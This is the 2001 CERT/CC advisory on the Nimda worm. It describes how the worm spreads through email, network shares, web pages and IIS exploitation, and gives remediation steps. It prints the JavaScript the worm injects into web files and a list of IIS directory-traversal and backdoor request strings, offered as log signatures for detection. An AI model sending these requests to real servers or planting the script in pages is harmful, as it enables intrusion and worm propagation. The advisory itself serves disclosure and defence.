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CA-2001-26 Nimda Worm

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CERT Advisory CA-2001-26 Nimda Worm

Original release date: September 18, 2001
Source: CERT/CC

A complete revision history is at the end of this file.

Systems Affected

* Systems running Microsoft Windows 95, 98, ME, NT, and 2000

Overview

The CERT/CC has received reports of new malicious code known as the
"W32/Nimda worm" or the "Concept Virus (CV) v.5." This new worm
appears to spread by multiple mechanisms:

* from client to client via email

* from client to client via open network shares

* from web server to client via browsing of compromised web sites

* from client to web server via active scanning for and exploitation
of the "Microsoft IIS 4.0 / 5.0 directory traversal" vulnerability
(VU #111677)

* from client to web server via scanning for the back doors left
behind by the "Code Red II" (IN-2001-09), and "sadmind/IIS"
(CA-2001-11) worms

Initial analysis indicates that the worm contains no destructive
payload beyond modification of web content to facilitate its own
propagation.

We are also receiving reports of denial of service as a result of
network scanning and email propagation.

I. Description

The Nimda worm has the potential to affect both user workstations
(clients) running Windows 95, 98, ME, NT, or 2000 and servers running
Windows NT and 2000.

Email Propagation

This worm propagates through email arriving as a MIME
"multipart/alternative" message consisting of two sections. The first
section is defined as MIME type "text/html", but it contains no text,
so the email appears to have no content. The second section is defined
as MIME type "audio/x-wav", but it contains a base64-encoded
attachment named "readme.exe", which is a binary executable.

Due to a vulnerability described in CA-2001-06 (Automatic Execution of
Embedded MIME Types), any mail software running on an x86 platform
that uses Microsoft Internet Explorer 5.5 SP1 or earlier (except IE
5.01 SP2) to render the HTML mail automatically runs the enclosed
attachment and, as result, infects the machine with the worm. Thus, in
vulnerable configurations, the worm payload will automatically be
triggered by simply opening (or previewing) this mail message. As an
executable binary, the payload can also be triggered by simply running
the attachment.

The email message delivering the Nimda worm appears to also have the
following characteristics:

* The text in the subject line of the mail message appears to be
variable, but those seen to date have been over 80 characters
long.

* There appear to be many slight variations in the attach binary
file, causing the MD5 checksum to be different when one compares
different attachments from different email messages. However, the
file length of the attachment appears to consistently be 57344
bytes.

Payload

Infected client machines attempt to send copies of the Nimda worm via
email to all addresses found in the Windows address book.

Likewise, the client machines begin scanning for vulnerable IIS
servers. Nimda looks for backdoors left by previous IIS worms: Code
Red II [IN-2001-09] and sadmind/IIS worm [CA-2001-11]. It also
attempts to exploit the IIS Directory Traversal vulnerability (VU
#111677). The selection of potential target IP addresses follows these
rough probabilities:

* 50% of the time, an address with the same first two octets will be
chosen

* 25% of the time, an address with the same first octet will be
chosen

* 25% of the time, a random address will be chosen

The infected client machine transfers a copy of the Nimda code to any
server that it scans and finds to be vulnerable. Once running on the
server machine, the worm traverses each directory in the system
(including all those accessible through a file shares) and write a
copy of itself to disk using the name "README.EML". When a directory
containing web content (e.g., HTML or ASP files) is found, the
following snippet of Javascript code is appended to every one of these
web-related files:

<script language="JavaScript">
window.open("readme.eml", null, "resizable=no,top=6000,left=6000")
</script>

This modification of web content allows further propagation of the
worm to new clients through a browser or browsing of a network file
system.

Browser Propagation

As part of the infection process, the Nimda worm modifies all web
content files it finds (including, but not limited to, files with
.htm, .html, and .asp extensions). As a result, any user browsing web
content on the system, whether via the file system or via a web
server, may download a copy of the worm. Some browsers may
automatically execute the downloaded copy, thereby infecting the
browsing system.

File System Propagation

The Nimda worm creates numerous copies of itself (using the name
README.EML) in all writable directories (including those found on a
network share) to which the user has access. If a user on another
system subsequently selects the copy of the worm file on the shared
network drive in Windows Explorer with the preview option enabled, the
worm may be able to compromise that system.

System FootPrint

The scanning activity of the Nimda worm produces the following log
entries for any web server listing on port 80/tcp:

GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir

Note: The first four entries in these sample logs denote attempts to
connect to the backdoor left by Code Red II, while the remaining log
entries are examples of exploit attempts for the Directory Traversal
vulnerability.

II. Impact

Intruders can execute arbitrary commands within the LocalSystem
security context on machines running the unpatched versions of IIS.
Host that have been compromised are also at high risk for being party
to attacks on other Internet sites.

The high scanning rate of the Nimda worm may also cause bandwidth
denial-of-service conditions on networks with infected machines.

III. Solutions

Recommendations for System Administrators of IIS machines

To determine if your system has been compromised, look for the
following:

* root.exe artifact (indicates a compromise by Code Red II or
sadmind/IIS worms making the system vulnerable to the Nimda worm)

* admin.dll artifact or unexpected .eml files in the directories
with web content (indicates compromise by the Nimda worm)

The only safe way to recover from the system compromise is to format
the system drive(s) and reinstall the system software from trusted
media (such as vendor-supplied CD-ROM). Additionally, after the
software is reinstalled, all vendor-supplied security patches must be
applied. The recommended time to do this is while the system is not
connected to any network. However, if sufficient care is taken to
disable all server network services, then the patches can be
downloaded from the Internet.

Detailed instructions for recovering your system can be found in the
CERT/CC tech tip:

Steps for Recovering from a UNIX or NT System Compromise
http://www.cert.org/tech_tips/win-UNIX-system_compromise.html

Apply the appropriate patch from your vendor

A cumulative patch which addresses all of the IIS-related
vulnerabilities exploited by the Nimda worm is available from
Microsoft at

http://www.microsoft.com/technet/security/bulletin/MS01-044.asp

Recommendations for End User Systems

Apply the appropriate patch from your vendor

If you are running a vulnerable version of Internet Explorer (IE), the
CERT/CC recommends applying patch for the "Automatic Execution of
Embedded MIME Types" vulnerability available from Microsoft at

http://www.microsoft.com/technet/security/bulletin/MS01-020.asp

Run and Maintain an Anti-Virus Product

It is important for users to update their anti-virus software. Most
anti-virus software vendors have released updated information, tools,
or virus databases to help detect and partially recover from this
malicious code. A list of vendor-specific anti-virus information can
be found in Appendix A.

Many anti-virus packages support automatic updates of virus
definitions. We recommend using these automatic updates when
available.

Don't open e-mail attachments

The Nimda worm may arrive as an email attachment named "readme.exe".
Users should not open this attachment.

Disable JavaScript End-user systems can become infected with the
Nimda worm by browsing web sites hosted by infected servers. This
method of infection requires the use of JavaScript to be successful.
Therefore, the CERT/CC recommends that end user systems disable
JavaScript.

Appendix A. Vendor Information

Antivirus Vendor Information

Central Command, Inc.

http://support.centralcommand.com/cgi-bin/command.cfg/php/endus
er/std_adp.php?p_refno=010918-000005

Command Software Systems

http://www.commandsoftware.com/virus/nimda.html

Data Fellows Corp

http://www.datafellows.com/v-descs/nimda.shtml

McAfee

http://vil.mcafee.com/dispVirus.asp?virus_k=99209&

Sophos

http://www.sophos.com/virusinfo/analyses/w32nimdaa.html

Symantec

http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html

Trend Micro

http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=
TROJ_NIMDA.A

http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.
asp?VName=TROJ_NIMDA.A

You may wish to visit the CERT/CC's computer virus resources page
located at

http://www.cert.org/other_sources/viruses.html

References

Authors: Roman Danyliw, Chad Dougherty, Allen Householder, Robin
Ruefle
______________________________________________________________________

This document is available from:
http://www.cert.org/body/advisories/CA200126_FA200126.html
______________________________________________________________________

CERT/CC Contact Information

Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
U.S.A.

CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4)
Monday through Friday; they are on call for emergencies during other
hours, on U.S. holidays, and on weekends.

Using encryption

We strongly urge you to encrypt sensitive information sent by email.
Our public PGP key is available from

http://www.cert.org/CERT_PGP.key

If you prefer to use DES, please call the CERT hotline for more
information.

Getting security information

CERT publications and other security information are available from
our web site

http://www.cert.org/

To be added to our mailing list for advisories and bulletins, send
email to cert-advisory-request@cert.org and include SUBSCRIBE
your-email-address in the subject of your message.

* "CERT" and "CERT Coordination Center" are registered in the U.S.
Patent and Trademark Office.
______________________________________________________________________

NO WARRANTY
Any material furnished by Carnegie Mellon University and the Software
Engineering Institute is furnished on an "as is" basis. Carnegie
Mellon University makes no warranties of any kind, either expressed or
implied as to any matter including, but not limited to, warranty of
fitness for a particular purpose or merchantability, exclusivity or
results obtained from use of the material. Carnegie Mellon University
does not make any warranty of any kind with respect to freedom from
patent, trademark, or copyright infringement.
_________________________________________________________________

Conditions for use, disclaimers, and sponsorship information

Copyright 2001 Carnegie Mellon University.

Revision History

September 18, 2001: Initial Release


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